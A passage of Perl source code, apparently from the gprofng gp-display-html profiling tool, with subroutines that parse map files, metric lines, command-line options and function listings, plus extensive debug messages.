#------------------------------------------------------------------------------
# Scan the file.  We need to find the name of the executable with the mode set
# to 0x005.  For this entry we have to capture the name, the mode, the virtual
# address and the offset.
#------------------------------------------------------------------------------
  $extracted_information = $FALSE;
  while (&lt;MAP_XML&gt;)
    {
      $input_line = $_;
      chomp ($input_line);

      $msg = &quot;read input_line = $input_line&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      if ($input_line =~  /^$map_xml_regex/)
        {
          $msg = &quot;target line = $input_line&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);

          $vaddr     = $1;
          $foffset   = $2;
          $modes     = $3;
          $name_path = $4;
          $name      = get_basename ($name_path);

          $msg  = &quot;extracted vaddr = $vaddr foffset = $foffset&quot;;
          $msg .= &quot; modes = $modes&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);

          $msg = &quot;extracted name_path = $name_path name = $name&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# The base virtual address is calculated as vaddr-foffset.  Although Perl
# handles arithmetic in hex, we take the safe way here.  Maybe overkill, but
# I prefer to be safe than sorry in cases like this.
#------------------------------------------------------------------------------
          $full_path_exec   = $name_path;
          $executable_name  = $name;
          $result_VA        = bigint::hex ($vaddr) - bigint::hex ($foffset);
          $va_executable_in_hex = sprintf (&quot;0x%016x&quot;, $result_VA);

##          $ARCHIVES_MAP_NAME  = $name;
##          $ARCHIVES_MAP_VADDR = $va_executable_in_hex;

          $msg = &quot;result_VA            = $result_VA&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);

          $msg = &quot;va_executable_in_hex = $va_executable_in_hex&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Stop reading when we found the correct entry.
#------------------------------------------------------------------------------
          if ($modes eq &quot;005&quot;)
            {
              $extracted_information = $TRUE;
              last;
            }
        }
    } #-- End of while-loop

  if (not $extracted_information)
    {
      $msg  = &quot;cannot find the necessary information in file&quot;;
      $msg .= &quot; &quot; . $input_map_xml_file;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }

  $msg = &quot;full_path_exec       = $full_path_exec&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg = &quot;executable_name      = $executable_name&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);
  $msg = &quot;va_executable_in_hex = $va_executable_in_hex&quot;;
  gp_message (&quot;debug&quot;, $subr_name, $msg);

  return ($full_path_exec, $executable_name, $va_executable_in_hex);

} #-- End of subroutine extract_info_from_map_xml

#------------------------------------------------------------------------------
# This routine analyzes the metric line and extracts the metric specifics
# from it.
# Example input: Exclusive Total CPU Time: e.%totalcpu
#------------------------------------------------------------------------------
sub extract_metric_specifics
{
  my $subr_name = get_my_name ();

  my ($metric_line) = @_;

  my $metric_description;
  my $metric_flavor;
  my $metric_visibility;
  my $metric_name;
  my $metric_spec;

# Ruud   if (($metric =~ /\s*(.*):\s+(\S)((\.\S+)|(\+\S+))/) &amp;&amp; !($metric =~/^Current/)){
  if (($metric_line =~ /\s*(.+):\s+([ei])([\.\+%]+)(\S*)/) and !($metric_line =~/^Current/))
    {
      gp_message (&quot;debug&quot;, $subr_name, &quot;line of interest: $metric_line&quot;);

      $metric_description = $1;
      $metric_flavor      = $2;
      $metric_visibility  = $3;
      $metric_name        = $4;

#------------------------------------------------------------------------------
# Although we have captured the metric visibility, the original code removes
# this from the name.  Since the structure is more complicated, the code is
# more tedious as well.  With our new approach we just leave the visibility
# out.
#------------------------------------------------------------------------------
#      $metric_spec        = $metric_flavor.$metric_visibility.$metric_name;

      $metric_spec        = $metric_flavor . &quot;.&quot; . $metric_name;

#------------------------------------------------------------------------------
# From the original code:
#
# On x64 systems there are metrics which contain ~ (for example
# DC_access~umask=0 .  When er_print lists them, they come out
# as DC_access%7e%umask=0 (see 6530691).  Untill 6530691 is
# fixed, we need this.  Later we may need something else, or
# things may just work.
#------------------------------------------------------------------------------
#          $metric_spec=~s/\%7e\%/,/;
#          # remove % metric
#          print &quot;DB: before \$metric_spec = $metric_spec\n&quot;;

#------------------------------------------------------------------------------
# TBD: I don&#039;t know why the &quot;%&quot; symbol is removed.
#------------------------------------------------------------------------------
#          $metric_spec =~ s/\%//;
#          print &quot;DB: after  \$metric_spec = $metric_spec\n&quot;;

      return ($metric_spec, $metric_flavor, $metric_visibility,
              $metric_name, $metric_description);
    }
  else
    {
      return (&quot;skipped&quot;, &quot;void&quot;);
    }

} #-- End of subroutine extract_metric_specifics

#------------------------------------------------------------------------------
# Extract the option value(s) from the input array.  In case the number of
# values execeeds the specified limit, warning messages are printed.
#
# In case the option value is valid, g_user_settings is updated with this
# value and a value of TRUE is returned.  Otherwise the return value is FALSE.
#
# Note that not in all invocations of this subroutine, gp_message() is
# operational.  Only after the debug settings have been finalized, the
# messages are printed.
#
# This subroutine also generates warnings about multiple occurrences
# and the validity of the values.
#------------------------------------------------------------------------------
sub extract_option_value
{
  my $subr_name = get_my_name ();

  my ($option_dir_ref, $max_occurrences_ref, $internal_option_name_ref,
      $option_name_ref) = @_;

  my @option_dir           = @{ $option_dir_ref };
  my $max_occurrences      = ${ $max_occurrences_ref };
  my $internal_option_name = ${ $internal_option_name_ref };
  my $option_name          = ${ $option_name_ref };

  my $deprecated_option_used;
  my $excess_occurrences;
  my $msg;
  my $no_of_occurrences;
  my $no_of_warnings = 0;
  my $option_value   = &quot;not set yet&quot;;
  my $option_value_missing;
  my $option_value_missing_ref;
  my $reset_blank_value;
  my $special_treatment = $FALSE;
  my $valid = $FALSE;
  my $valid_ref;

  if (@option_dir)
    {
      $no_of_occurrences = scalar (@option_dir);

      $msg = &quot;option_name          = $option_name&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      $msg = &quot;internal_option_name = $internal_option_name&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);
      $msg = &quot;no_of_occurrences    = $no_of_occurrences&quot;;
      gp_message (&quot;debug&quot;, $subr_name, $msg);

      $excess_occurrences = ($no_of_occurrences &gt; $max_occurrences) ?
							$TRUE : $FALSE;

#------------------------------------------------------------------------------
# This is not supposed to happen, but just to be sure, there is a check.
#------------------------------------------------------------------------------
      if ($no_of_occurrences &lt; 1)
        {
          $msg  = &quot;the number of fields is $no_of_occurrences&quot;;
          $msg .= &quot; - should at least be 1&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }

#------------------------------------------------------------------------------
# For backward compatibility, we support the legacy &quot;on&quot; and &quot;off&quot; values for
# certain options.
#
# We also support the debug option without value.  In case no value is given,
# it is set to &quot;on&quot;.
#
# Note that regardless of the value(s) in ARGV, internally we use the on/off
# setting.
#------------------------------------------------------------------------------
      if (($g_user_settings{$internal_option_name}{&quot;data_type&quot;} eq &quot;onoff&quot;) or
          ($internal_option_name eq &quot;debug&quot;))
        {
          $msg = &quot;enable special treatment of the option&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);

          $special_treatment = $TRUE;
        }

#------------------------------------------------------------------------------
# Issue a warning if the same option occcurs more often than what is supported.
#------------------------------------------------------------------------------
      if ($excess_occurrences)
        {
          $msg = &quot;multiple occurrences of the &quot; . $option_name .
                 &quot; option found:&quot;;

          gp_message (&quot;debugM&quot;, $subr_name, $msg);

          gp_message (&quot;warning&quot;, $subr_name, $g_html_new_line . $msg);
        }

#------------------------------------------------------------------------------
# Main loop over all the occurrences of the options.  This is a rather simple
# approach since only the last value seen will be accepted.
#
# To assist the user with troubleshooting, the values that are ignored will be
# checked for validity and a marker to this extent will be printed.
#
# NOTE:
# If an option may have multiple meaningful occurrences, this part needs to be
# revisited.
#------------------------------------------------------------------------------
      $deprecated_option_used = $FALSE;
      for my $key (keys @option_dir)
        {
          $option_value      = $option_dir[$key];
          $reset_blank_value = $FALSE;

#------------------------------------------------------------------------------
# For the &quot;onoff&quot; options, convert a blank value to &quot;on&quot;.
#------------------------------------------------------------------------------
          if (($option_value eq &quot;on&quot;) or ($option_value eq &quot;off&quot;))
            {
              if (($option_name eq &quot;--verbose&quot;) or ($option_name eq &quot;--quiet&quot;))
                {
  		  $deprecated_option_used = $TRUE;
                }
            }

#------------------------------------------------------------------------------
# For the &quot;onoff&quot; options, convert a blank value to &quot;on&quot;.
#------------------------------------------------------------------------------
          if ($special_treatment and ($option_value eq &quot;&quot;))
            {
              $option_value = &quot;on&quot;;
              $reset_blank_value = $TRUE;

              $msg  = &quot;reset option value for $option_name from blank&quot;;
              $msg .= &quot; to \&quot;on\&quot;&quot;;
              gp_message (&quot;debug&quot;, $subr_name, $msg);
            }

#------------------------------------------------------------------------------
# Check for the option value to be valid.  It may also happen that an option
# does not have a value, while it should have one.
#------------------------------------------------------------------------------
          ($valid_ref, $option_value_missing_ref) = check_and_set_user_option (
							$internal_option_name,
							$option_value);

          $valid                = ${ $valid_ref };
          $option_value_missing = ${ $option_value_missing_ref };

          $msg  = &quot;option_value = $option_value&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
          $msg  = &quot;after check_and_set_user_option: valid = $valid&quot;;
          $msg .= &quot; option_value_missing = $option_value_missing&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);

#------------------------------------------------------------------------------
# Generate warning messages, but if an option value is missing, it will also
# be considered to be a fatal error.
#------------------------------------------------------------------------------
          if ($excess_occurrences)
            {
              if ($option_value_missing)
                {
                  $msg  = &quot;$option_name option - missing a value&quot;;
                }
              else
                {
#------------------------------------------------------------------------------
# A little trick to avoid user confusion.  Although we have set the internal
# value to &quot;on&quot;, the user did not set this and so we print &quot;&quot; instead.
#------------------------------------------------------------------------------
                  if ($reset_blank_value)
                    {
                      $msg  = &quot;$option_name option - value = \&quot;\&quot;&quot;;
                    }
                  else
                    {
                      $msg  = &quot;$option_name option - value = $option_value&quot;;
                    }
                  $msg .= ($valid) ? &quot; (valid value)&quot; : &quot; (invalid value)&quot;;
                }

              gp_message (&quot;debug&quot;, $subr_name, $msg);
              gp_message (&quot;warning&quot;, $subr_name, $msg);
            }

#------------------------------------------------------------------------------
# Check for the last occurrence of the option to be valid.  If it is not, it
# is a fatal error.
#------------------------------------------------------------------------------
          if ((not $valid) &amp;&amp; ($key == $no_of_occurrences-1))
            {
              if ($option_value_missing)
                {
                  $msg = &quot;the $option_name option requires a value&quot;;
                }
              else
                {
                  $msg  = &quot;the value of $option_value for the $option_name&quot;;
                  $msg .= &quot; option is invalid&quot;;
                }
              gp_message (&quot;debug&quot;, $subr_name, $g_error_keyword . $msg);

              gp_message (&quot;error&quot;, $subr_name, $msg);

              $g_total_error_count++;
            }
        }

#------------------------------------------------------------------------------
# Issue a warning if the same option occcurs more often than what is supported
# and warn the user that all but the last value will be ignored.
#------------------------------------------------------------------------------
      if ($excess_occurrences)
        {
          $msg = &quot;all values but the last one shown above are ignored&quot;;

          gp_message (&quot;debugM&quot;, $subr_name, $msg);
          gp_message (&quot;warning&quot;, $subr_name, $msg);

          $g_total_warning_count++;
        }
    }

#------------------------------------------------------------------------------
# Issue a warning if the old on/off syntax is used still.
#------------------------------------------------------------------------------
  if ($deprecated_option_used)
    {
      $msg  = &quot;&lt;br&gt;&quot;;
      $msg .= &quot;the on/off syntax for option $option_name has been&quot;;
      $msg .= &quot; deprecated&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);

      $msg  = &quot;this option acts like a switch now&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);

      $msg  = &quot;support for the old syntax may be terminated&quot;;
      $msg .= &quot; in a future update&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);

      $msg  = &quot;please check the man page of gp-display-html&quot;;
      $msg .= &quot; for more details&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);
      $g_total_warning_count++;
    }

  return (\$valid);

} #-- End of subroutine extract_option_value

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub extract_source_line_number
{
  my $subr_name = get_my_name ();

  my ($src_times_regex, $function_regex, $number_of_metrics, $input_line) = @_;

#------------------------------------------------------------------------------
# The regex section.
#------------------------------------------------------------------------------
  my $find_dot_regex = &#039;\.&#039;;

  my @fields_in_line = ();
  my $hot_line;
  my $line_id;

#------------------------------------------------------------------------------
# To extract the source line number, we need to distinguish whether this is
# a line with, or without metrics.
#------------------------------------------------------------------------------
      @fields_in_line = split (&quot; &quot;, $input_line);
      if ( $input_line =~ /$src_times_regex/ )
        {
          $hot_line = $1;
          if ($hot_line eq &quot;##&quot;)
#------------------------------------------------------------------------------
# The line id comes after the &quot;##&quot; symbol and the metrics.
#------------------------------------------------------------------------------
            {
              $line_id = $fields_in_line[$number_of_metrics+1];
            }
          else
#------------------------------------------------------------------------------
# The line id comes after the metrics.
#------------------------------------------------------------------------------
            {
              $line_id = $fields_in_line[$number_of_metrics];
            }
        }
      elsif ($input_line =~ /$function_regex/)
        {
          $line_id = &quot;func&quot;;
        }
      else
#------------------------------------------------------------------------------
# The line id is the first non-blank element.
#------------------------------------------------------------------------------
        {
          $line_id = $fields_in_line[0];
        }
#------------------------------------------------------------------------------
# Remove the trailing dot.
#------------------------------------------------------------------------------
      $line_id =~ s/$find_dot_regex//;

   return ($line_id);

} #-- End of subroutine extract_source_line_number

#------------------------------------------------------------------------------
# Finalize the settings for the special options verbose, debug, warnings and
# quiet.
#------------------------------------------------------------------------------
sub finalize_special_options
{
  my $subr_name = get_my_name ();

  my $msg;

#------------------------------------------------------------------------------
# If quiet mode has been enabled, disable verbose, warnings and debug.
#------------------------------------------------------------------------------
  if ($g_quiet)
    {
      $g_user_settings{&quot;verbose&quot;}{&quot;current_value&quot;}    = &quot;off&quot;;
      $g_user_settings{&quot;nowarnings&quot;}{&quot;current_value&quot;} = &quot;on&quot;;
      $g_user_settings{&quot;warnings&quot;}{&quot;current_value&quot;}   = &quot;off&quot;;
      $g_user_settings{&quot;debug&quot;}{&quot;current_value&quot;}      = &quot;off&quot;;
      $g_debug    = $FALSE;
      $g_verbose  = $FALSE;
      $g_warnings = $FALSE;
      my $debug_off = &quot;off&quot;;
      my $ignore_value = set_debug_size (\$debug_off);
    }
  else
    {
#------------------------------------------------------------------------------
# Disable output buffering if verbose, debug, and/or warnings are enabled.
#------------------------------------------------------------------------------
      if ($g_verbose or $g_debug or $g_warnings)
        {
          STDOUT-&gt;autoflush (1);

          $msg = &quot;enabled autoflush for STDOUT&quot;;
          gp_message (&quot;debug&quot;, $subr_name, $msg);
        }
#------------------------------------------------------------------------------
# If verbose and/or debug have been enabled, print a message.
#------------------------------------------------------------------------------
##      gp_message (&quot;verbose&quot;, $subr_name, &quot;verbose mode has been enabled&quot;);
##      gp_message (&quot;debug&quot;,   $subr_name, &quot;debug &quot; . $g_debug_size_value . &quot; mode has been enabled&quot;);
    }

  return (0);

} #-- End of subroutine finalize_special_options

#------------------------------------------------------------------------------
# For a give routine name and address, find the index into the
# function_info array
#------------------------------------------------------------------------------
sub find_index_in_function_info
{
  my $subr_name = get_my_name ();

  my ($routine_ref, $current_address_ref, $function_info_ref) = @_;

  my $routine = ${ $routine_ref };
  my $current_address = ${ $current_address_ref };
  my @function_info = @{ $function_info_ref };

  my $addr_offset;
  my $ref_index;

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;find index for routine = $routine and current_address = $current_address&quot;);
  if (exists ($g_multi_count_function{$routine}))
    {

# TBD: Scan all of the function_info list. Or beter: add index to g_multi_count_function!!

      gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine: occurrences = $g_function_occurrences{$routine}&quot;);
      for my $ref (keys @{ $g_map_function_to_index{$routine} })
        {
          $ref_index = $g_map_function_to_index{$routine}[$ref];

          gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine: retrieving duplicate entry at ref_index = $ref_index&quot;);
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine: function_info[$ref_index]{&#039;alt_name&#039;} = $function_info[$ref_index]{&#039;alt_name&#039;}&quot;);

          $addr_offset = $function_info[$ref_index]{&quot;addressobjtext&quot;};
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine: addr_offset = $addr_offset&quot;);

          $addr_offset =~ s/^@\d+://;
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;$routine: addr_offset = $addr_offset&quot;);
          if ($addr_offset eq $current_address)
            {
              last;
            }
        }
    }
  else
    {
#------------------------------------------------------------------------------
# There is only a single occurrence and it is straightforward to get the index.
#------------------------------------------------------------------------------
      if (exists ($g_map_function_to_index{$routine}))
        {
          $ref_index = $g_map_function_to_index{$routine}[0];
        }
      else
        {
          my $msg = &quot;index for $routine cannot be determined&quot;;
          gp_message (&quot;assertion&quot;, $subr_name, $msg);
        }
    }

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;routine = $routine current_address = $current_address ref_index = $ref_index&quot;);

  return (\$ref_index);

} #-- End of subroutine find_index_in_function_info

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub find_keyword_in_string
{
  my $subr_name = get_my_name ();

  my ($target_string_ref, $target_keyword_ref) = @_;

  my $target_string  = ${ $target_string_ref };
  my $target_keyword = ${ $target_keyword_ref };
  my $foundit = $FALSE;

  my @index_values = ();

    my $ret_val = 0;
    my $offset = 0;
    gp_message (&quot;debugXL&quot;, $subr_name, &quot;target_string = $target_string&quot;);
    $ret_val = index ($target_string, $target_keyword, $offset);
    gp_message (&quot;debugXL&quot;, $subr_name, &quot;ret_val = $ret_val&quot;);

    if ($ret_val != -1)
      {
        $foundit = $TRUE;
        while ($ret_val != -1)
          {
             push (@index_values, $ret_val);
             $offset = $ret_val + 1;
             gp_message (&quot;debugXL&quot;, $subr_name, &quot;ret_val = $ret_val offset = $offset&quot;);
             $ret_val = index ($target_string, $target_keyword, $offset);
          }
        for my $i (keys @index_values)
          {
            gp_message (&quot;debugXL&quot;, $subr_name, &quot;index_values[$i] = $index_values[$i]&quot;);
          }
      }
    else
      {
        gp_message (&quot;debugXL&quot;, $subr_name, &quot;target keyword $target_keyword not found&quot;);
      }

  return (\$foundit, \@index_values);

} #-- End of subroutine find_keyword_in_string

#------------------------------------------------------------------------------
# Retrieve the absolute path that was used to execute the command.  This path
# is used to execute gp-display-text later on.
#------------------------------------------------------------------------------
sub find_path_to_gp_display_text
{
  my $subr_name = get_my_name ();

  my ($full_command_ref) = @_;

  my $full_command = ${ $full_command_ref };

  my $error_occurred = $TRUE;
  my $return_value;

#------------------------------------------------------------------------------
# Get the path name.
#------------------------------------------------------------------------------
  my ($gp_file_name, $gp_path, $suffix_not_used) = fileparse ($full_command);

  gp_message (&quot;debug&quot;, $subr_name, &quot;full_command = $full_command&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;gp_path  = $gp_path&quot;);

  my $gp_display_text_instance = $gp_path . $GP_DISPLAY_TEXT;

#------------------------------------------------------------------------------
# Check if $GP_DISPLAY_TEXT exists, is not empty, and executable.
#------------------------------------------------------------------------------
  if (not -e $gp_display_text_instance)
    {
      $return_value = &quot;file not found&quot;;
    }
  else
    {
      if (is_file_empty ($gp_display_text_instance))
        {
          $return_value = &quot;file is empty&quot;;
        }
      else
        {
#------------------------------------------------------------------------------
# All is well.  Capture the path.
#------------------------------------------------------------------------------
          $error_occurred = $FALSE;
          $return_value = $gp_path;
        }
    }

  return (\$error_occurred, \$gp_path, \$return_value);

} #-- End of subroutine find_path_to_gp_display_text

#------------------------------------------------------------------------------
# Scan the command line to see if the specified option is present.
#
# Two types of options are supported: options without a value (e.g. --help) or
# those that are set to &quot;on&quot; or &quot;off&quot;.
#
# In this phase, we only need to check if a value is valid. If it is, we have
# to enable the corresponding global setting.  If the value is not valid, we
# ignore it, since it will be caught later and a warning message is issued.
#------------------------------------------------------------------------------
sub find_target_option
{
  my $subr_name = get_my_name ();

  my ($command_line_ref, $option_requires_value, $target_option) = @_;

  my @command_line     = @{ $command_line_ref };
  my $option_value     = undef;
  my $found_option     = $FALSE;

  my ($command_line_string) = join (&quot; &quot;, @command_line);

##  if ($command_line_string =~ /\s*($target_option)\s*(on|off)*\s*/)
#------------------------------------------------------------------------------
# This does not make any assumptions on the values we are looking for.
#------------------------------------------------------------------------------
  if ($command_line_string =~ /\s*\-\-($target_option)\s*(\w*)\s*/)
    {
      if (defined ($1))
#------------------------------------------------------------------------------
# We have found the option we are looking for.
#------------------------------------------------------------------------------
        {
          $found_option = $TRUE;
          if ($option_requires_value and defined ($2))
#------------------------------------------------------------------------------
# There is a value and it is passed on to the caller.
#------------------------------------------------------------------------------
            {
              $option_value = $2;
            }
        }
    }

  return ($found_option, $option_value);

} #-- End of subroutine find_target_option

#------------------------------------------------------------------------------
# Find the occurrences of non-space characters in a string and return their
# start and end index values(s).
#------------------------------------------------------------------------------
sub find_words_in_line
{
  my $subr_name = get_my_name ();

  my ($input_line_ref) = @_;

  my $input_line = ${ $input_line_ref };

  my $finished = $TRUE;

  my $space = 0;
  my $space_position = 0;
  my $start_word;
  my $end_word;

  my @word_delimiters = ();

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;input_line = $input_line&quot;);

    $finished = $FALSE;
    while (not $finished)
      {
        $space = index ($input_line, &quot; &quot;, $space_position);

        my $txt = &quot;string search space_position = $space_position &quot;;
        $txt   .= &quot;space = $space&quot;;
        gp_message (&quot;debugXL&quot;, $subr_name, $txt);

        if ($space != -1)
          {
            if ($space &gt; $space_position)
              {
                $start_word = $space_position;
                $end_word   = $space - 1;
                $space_position = $space;
                my $keyword = substr ($input_line, $start_word, $end_word - $start_word + 1);
                gp_message (&quot;debugXL&quot;, $subr_name, &quot;string search start_word = $start_word end_word = $end_word space_position = $space_position $keyword&quot;);
                push (@word_delimiters, [$start_word, $end_word]);
              }
            elsif ( ($space == $space_position) and ($space &lt; length ($input_line) - 1))
              {
                $space          = $space + 1;
                $space_position = $space;
              }
            else
              {
                print &quot;DONE\n&quot;;
                $finished = $TRUE;
                gp_message (&quot;debugXL&quot;, $subr_name, &quot;completed - finished = $finished&quot;);
              }
          }
        else
          {
            $finished = $TRUE;
            $start_word = $space_position;
            $end_word = length ($input_line) - 1;
            my $keyword = substr ($input_line, $start_word, $end_word - $start_word + 1);
            push (@word_delimiters, [$start_word, $end_word]);
            if ($keyword =~ /\s+/)
              {
                my $txt = &quot;end search spaces only&quot;;
                gp_message (&quot;debugXL&quot;, $subr_name, $txt);
              }
            else
              {
                my $txt  = &quot;end search start_word = $start_word &quot;;
                $txt    .= &quot;end_word = $end_word &quot;;
                $txt    .= &quot;space_position = $space_position --&gt;$keyword&lt;--&quot;;
                gp_message (&quot;debugXL&quot;, $subr_name, $txt);
              }
          }

       }

  for my $i (keys @word_delimiters)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;i = $i $word_delimiters[$i][0] $word_delimiters[$i][1]&quot;);
    }

  return (\@word_delimiters);

} #-- End of subroutine find_words_in_line

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub function_info
{
  my $subr_name = get_my_name ();

  my ($outputdir, $FUNC_FILE, $metric, $LINUX_vDSO_ref) = @_;

  my %LINUX_vDSO = %{ $LINUX_vDSO_ref };

  my $index_val;
  my $address_decimal;
  my $full_address_field;

  my $FUNC_FILE_NO_PC;
  my $off_with_the_PC;

  my $blanks;
  my $lblanks;
  my $lvdso_key;
  my $line_regex;

  my %functions_per_metric_indexes = ();
  my %functions_per_metric_first_index = ();
  my @order;

  my ($line,$line_n,$value);
  my ($df_flag,$n,$u);
  my ($metric_value,$PC_Address,$routine);
  my ($is_calls,$metric_ok,$name_regex,$pc_len);
  my ($segment,$offset,$offy,$spaces,$rest,$not_printed,$vdso_key);

#------------------------------------------------------------------------------
# If the directory name does not end with a &quot;/&quot;, add it.
#------------------------------------------------------------------------------
  my $length_of_string = length ($outputdir);

  if (rindex ($outputdir, &quot;/&quot;) != $length_of_string-1)
    {
      $outputdir .= &quot;/&quot;;
    }

  gp_message (&quot;debug&quot;, $subr_name, &quot;on input FUNC_FILE = $FUNC_FILE metric = $metric&quot;);

  $is_calls        = $FALSE;
  $metric_ok       = $TRUE;
  $off_with_the_PC = rindex ($FUNC_FILE, &quot;-PC&quot;);
  $FUNC_FILE_NO_PC = substr ($FUNC_FILE, 0, $off_with_the_PC);

  if ($FUNC_FILE_NO_PC eq $outputdir.&quot;calls.sort.func&quot;)
    {
      $FUNC_FILE_NO_PC = $outputdir.&quot;calls&quot;;
      $is_calls        = $TRUE;
      $metric_ok       = $FALSE;
    }
  elsif ($FUNC_FILE_NO_PC eq $outputdir.&quot;calltree.sort.func&quot;)
    {
      $FUNC_FILE_NO_PC = $outputdir.&quot;calltree&quot;;
      $metric_ok       = $FALSE;
    }
  elsif ($FUNC_FILE_NO_PC eq $outputdir.&quot;functions.sort.func&quot;)
    {
      $FUNC_FILE_NO_PC = $outputdir.&quot;functions.func&quot;;
      $metric_ok       = $FALSE;
    }
  gp_message (&quot;debugM&quot;, $subr_name, &quot;set FUNC_FILE_NO_PC = $FUNC_FILE_NO_PC&quot;);

  open (FUNC_FILE, &quot;&lt;&quot;, $FUNC_FILE)
    or die (&quot;Not able to open file $FUNC_FILE for reading - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file FUNC_FILE = $FUNC_FILE for reading&quot;);

  open (FUNC_FILE_NO_PC, &quot;&gt;&quot;, $FUNC_FILE_NO_PC)
    or die (&quot;Not able to open file $FUNC_FILE_NO_PC for writing - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file FUNC_FILE_NO_PC = $FUNC_FILE_NO_PC for writing&quot;);

  open (FUNC_FILE_REGEXP, &quot;&lt;&quot;, &quot;$FUNC_FILE.name-regex&quot;)
    or die (&quot;Not able to open file $FUNC_FILE.name-regex for reading - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened file FUNC_FILE_REGEXP = $FUNC_FILE.name-regex for reading&quot;);

  $name_regex = &lt;FUNC_FILE_REGEXP&gt;;
  chomp ($name_regex);
  close (FUNC_FILE_REGEXP);

  gp_message (&quot;debugXL&quot;, $subr_name, &quot;name_regex = $name_regex&quot;);

  $n = 0;
  $u = 0;
  $pc_len = 0;

#------------------------------------------------------------------------------
# Note that the double \\ is needed here.  The regex used will not have these.
#------------------------------------------------------------------------------
  if ($is_calls)
    {
#------------------------------------------------------------------------------
# TBD
# I do not see the &quot;*&quot; in my test output, but no harm to leave the code in.
#
# er_print * before PC for calls ! 101315
#------------------------------------------------------------------------------
      $line_regex = &quot;^(\\s*)(\\**)(\\S+)(:)(\\S+)(\\s+)(.*)&quot;;
    }
  else
    {
      $line_regex = &quot;^(\\s*)(\\S+)(:)(\\S+)(\\s+)(.*)&quot;;
    }
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;is_calls = &quot;.(($is_calls) ? &quot;TRUE&quot; : &quot;FALSE&quot;).&quot; line_regex-&gt;$line_regex&lt;-&quot;);
  gp_message (&quot;debugXL&quot;, $subr_name, &quot;read FUNC_FILE = $FUNC_FILE&quot;);

  $line_n = 0;
  $index_val = 0;
  while (&lt;FUNC_FILE&gt;)
    {
      $line = $_;
      chomp ($line);
      $line =~ s/ --  no functions found//;

      gp_message (&quot;debug&quot;, $subr_name, &quot;FUNC_FILE: input line = $line&quot;);

      $line_n++;
      if ($line =~ /$line_regex/) # field 2|3 needs to be \S in case of -ve sign
        {
#------------------------------------------------------------------------------
# A typical target line looks like this:
# 11:0x001492e0  6976.900   &lt;additional_timings&gt; _lwp_start
#------------------------------------------------------------------------------
          gp_message (&quot;debugXL&quot;, $subr_name, &quot;select = $line&quot;);
          if ($is_calls)
            {
              $segment = $3;
              $offset  = $5;
              $spaces  = $6;
              $rest    = $7;
              $PC_Address = $segment.$4.$offset; # PC Addr.
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;is_calls = &quot;.(($is_calls) ? &quot;TRUE&quot; : &quot;FALSE&quot;).&quot; \$3 = $3&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;is_calls = &quot;.(($is_calls) ? &quot;TRUE&quot; : &quot;FALSE&quot;).&quot; \$5 = $5&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;is_calls = &quot;.(($is_calls) ? &quot;TRUE&quot; : &quot;FALSE&quot;).&quot; \$6 = $6&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;is_calls = &quot;.(($is_calls) ? &quot;TRUE&quot; : &quot;FALSE&quot;).&quot; \$7 = $7&quot;);
            }
          else
            {
              $segment = $2;
              $offset  = $4;
              $spaces  = $5;
              $rest    = $6;
              $PC_Address = $segment.$3.$offset; # PC Addr.
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;is_calls = &quot;.(($is_calls) ? &quot;TRUE&quot; : &quot;FALSE&quot;).&quot; \$2 = $2&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;is_calls = &quot;.(($is_calls) ? &quot;TRUE&quot; : &quot;FALSE&quot;).&quot; \$4 = $4&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;is_calls = &quot;.(($is_calls) ? &quot;TRUE&quot; : &quot;FALSE&quot;).&quot; \$5 = $5&quot;);
              gp_message (&quot;debugXL&quot;, $subr_name, &quot;is_calls = &quot;.(($is_calls) ? &quot;TRUE&quot; : &quot;FALSE&quot;).&quot; \$6 = $6&quot;);
            }
          if ($segment == -1)
            {
#------------------------------------------------------------------------------
# presume vDSO field overflow - er_print used an inadequate format
# or the fsummary (MASTER) had the wrong format for -1?
# rats - get ahead of ourselves - should not be a field abuttal so
#------------------------------------------------------------------------------
              if ($line =~ /$name_regex/)
                {
                  if ($metric_ok)
                    {
                      $metric_value = $1; # whatever
                      $routine = $2;
                    }
